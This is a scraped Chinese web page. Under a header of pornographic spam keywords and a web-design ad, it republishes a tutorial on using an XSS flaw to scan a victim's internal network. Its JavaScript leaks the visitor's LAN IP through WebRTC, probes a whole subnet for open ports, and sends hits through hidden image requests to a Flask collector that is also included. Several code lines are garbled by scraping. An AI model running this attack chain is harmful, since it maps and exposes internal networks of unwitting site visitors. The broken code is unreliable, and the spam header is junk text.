日本综合一区二区|亚洲中文天堂综合|日韩欧美自拍一区|男女精品天堂一区|欧美自拍第6页亚洲成人精品一区|亚洲黄色天堂一区二区成人|超碰91偷拍第一页|日韩av夜夜嗨中文字幕|久久蜜综合视频官网|精美人妻一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時間:8:30-17:00
你可能遇到了下面的問題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營銷解決方案
XSS的另一種利用思路

前言

十年的惠水網(wǎng)站建設(shè)經(jīng)驗,針對設(shè)計、前端、開發(fā)、售后、文案、推廣等六對一服務(wù),響應(yīng)快,48小時及時工作處理。營銷型網(wǎng)站建設(shè)的優(yōu)勢是能夠根據(jù)用戶設(shè)備顯示端的尺寸不同,自動調(diào)整惠水建站的顯示方式,使網(wǎng)站能夠適用不同顯示終端,在瀏覽器中調(diào)整網(wǎng)站的寬度,無論在任何一種瀏覽器上瀏覽網(wǎng)站,都能展現(xiàn)優(yōu)雅布局與設(shè)計,從而大程度地提升瀏覽體驗。創(chuàng)新互聯(lián)公司從事“惠水網(wǎng)站設(shè)計”,“惠水網(wǎng)站推廣”以來,每個客戶項目都認真落實執(zhí)行。

安全測試人員在測試XSS漏洞的時候,用得最多的方式是利用XSS釣魚攻擊、盜取會話憑證,挾持會話。當(dāng)然還有很多其他利用方式,但是卻很少涉及內(nèi)網(wǎng)滲透環(huán)節(jié)。換一種思路,XSS還可以做很多意想不到的事,本文通過實踐介紹利用js進行內(nèi)網(wǎng)端口掃描的滲透思路。

獲取局域網(wǎng)IP

進行內(nèi)網(wǎng)端口掃描首先第一點要獲取內(nèi)網(wǎng)IP,這是最關(guān)鍵的一步,這里有一個前輩的Demo:

使用的WebRTC技術(shù)獲取當(dāng)前訪問者的局域網(wǎng)IP,具體的js實現(xiàn)如下:

 
 
 
 
  1. function getlanip(callback){ 
  2.     var ip_dups = {}; 
  3.     var RTCPeerConnection = window.RTCPeerConnection 
  4.         || window.mozRTCPeerConnection 
  5.         || window.webkitRTCPeerConnection; 
  6.     if (!RTCPeerConnection) { 
  7.         var iframe = document.createElement('iframe'); 
  8.         iframe.sandbox = 'allow-same-origin'; 
  9.         iframe.style.display = 'none'; 
  10.         document.body.appendChild(iframe); 
  11.         var win = iframe.contentWindow; 
  12.         winwindow.RTCPeerConnection = win.RTCPeerConnection; 
  13.         winwindow.mozRTCPeerConnection = win.mozRTCPeerConnection; 
  14.         winwindow.webkitRTCPeerConnection = win.webkitRTCPeerConnection; 
  15.         RTCPeerConnection = window.RTCPeerConnection 
  16.             || window.mozRTCPeerConnection 
  17.             || window.webkitRTCPeerConnection; 
  18.     } 
  19.     var mediaConstraints = { 
  20.         optional: [{RtpDataChannels: true}] 
  21.     }; 
  22.     var servers = undefined; 
  23.     if(window.webkitRTCPeerConnection) 
  24.         servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]}; 
  25.     var pc = new RTCPeerConnection(servers, mediaConstraints); 
  26.     pc.onicecandidate = function(ice){ 
  27.         if(ice.candidate){ 
  28.             var ip_regex = /([0-9]{1,3}(.[0-9]{1,3}){3})/ 
  29.             var ip_addr = ip_regex.exec(ice.candidate.candidate)[1]; 
  30.  
  31.             if(ip_dups[ip_addr] === undefined) 
  32.                 callback(ip_addr); 
  33.  
  34.             ip_dups[ip_addr] = true;} 
  35.         }; 
  36.     pc.createDataChannel(""); 
  37.     pc.createOffer(function(result){ 
  38.         pc.setLocalDescription(result, function(){}, function(){}); 
  39.         }, function(){}); 
  40.     } 

WebRTC

WebRTC,是網(wǎng)頁實時通信(Web Real-Time Communication)的縮寫,是一個支持網(wǎng)頁瀏覽器進行實時語音對話或視頻對話的技術(shù)。WebRTC 實現(xiàn)了基于網(wǎng)頁的視頻會議,標準是 WHATWG 協(xié)議,目的是通過瀏覽器提供簡單的 Javascript 就可以做到實時通訊。WebRTC 項目的最終目的主要是讓 Web 開發(fā)者能夠基于瀏覽器輕易快捷地開發(fā)出豐富的實時多媒體應(yīng)用,而無需下載安裝任何插件,Web 開發(fā)者也無需關(guān)注多媒體的數(shù)字信號處理過程,只需編寫簡單的 Javascript 程序即可實現(xiàn),很多瀏覽器包括Firefox Chrome,360極速瀏覽器都已經(jīng)支持WebRTC, 但是Internet Explorer 和 Safari 尚未支持 WebRTC。

JS端口掃描

有了局域網(wǎng)IP,利用sciprt標簽加載js函數(shù)執(zhí)行,然后利用html onload事件結(jié)合img標簽當(dāng)然可以這里可以使用其他的比如:iframe標簽等,把加載成功的IP,端口信息傳回我們的接收端,這里我用Flask簡單的寫了一個接收端。

 
 
 
 
  1. #!/usr/bin/env python3 
  2. #coding:utf-8 
  3.  
  4. from flask import Flask,request 
  5.  
  6. app = Flask(__name__) 
  7.  
  8. @app.route(rule='/') 
  9. def index(): 
  10.     args = request.args 
  11.     for k,v in args.items(): 
  12.         print(k,v) 
  13.     return str() 
  14.  
  15. if __name__ == '__main__': 
  16.     app.run(debug=True) 

下面是一個簡單的掃描函數(shù)和數(shù)據(jù)傳回函數(shù)。

 
 
 
 
  1. //數(shù)據(jù)傳回 
  2. var TagName = document.getElementsByTagName("body")[0]; 
  3. function post_data(ip,port){ 
  4.     var img = document.createElement("img"); 
  5.     img.setAttribute("src","http://127.0.0.1:5000/?ip=" + ip + "&openport=" + port); 
  6.     img.setAttribute("style","display:none") 
  7.     TagName.appendChild(img); 
  8.     } 
  9.  
  10. //簡單端口掃描 
  11. getlanip(function(ip){ 
  12. //判斷內(nèi)網(wǎng)IP 
  13.     if (ip.match(/^(192.168.|169.254.|10.|172.(1[6-9]|2d|3[01]))/)){ 
  14.         ipip = ip.split("."); 
  15.         ip.pop(); 
  16.         ipip = ip.join("."); 
  17.         for(var i = 1;i<=255;i++){ 
  18.             var script = document.createElement("script"); 
  19.             var ipip_url = ip + "." + i + ":80";//3306 
  20.             script.setAttribute("src","http://" + ip_url); 
  21.             script.setAttribute("onload","post_data('" + ip + "." + i + "','80')");//3306 
  22.             TagName.appendChild(script); 
  23.         } 
  24.     } 
  25.     }); 

隨便一個html引入js文件,加載效果圖。

在服務(wù)端成功的接收到了開放80端口的ip。

當(dāng)然其他端口也是可以的只要支持http協(xié)議訪問的比如3306。

探測到開放3306端口的主機,這樣實現(xiàn)了一個簡單的局域網(wǎng)ip端口的功能。

結(jié)語

當(dāng)懷疑某處存在xss漏洞而我們又想知道內(nèi)網(wǎng)具體的ip端口情況時,我們就可以利用這種方式實現(xiàn)局域網(wǎng)端口探測,有點類似于SSRF,但是通過XSS也同樣可以實現(xiàn)。


網(wǎng)頁名稱:XSS的另一種利用思路
網(wǎng)址分享:http://www.dlmjj.cn/article/djpcjoh.html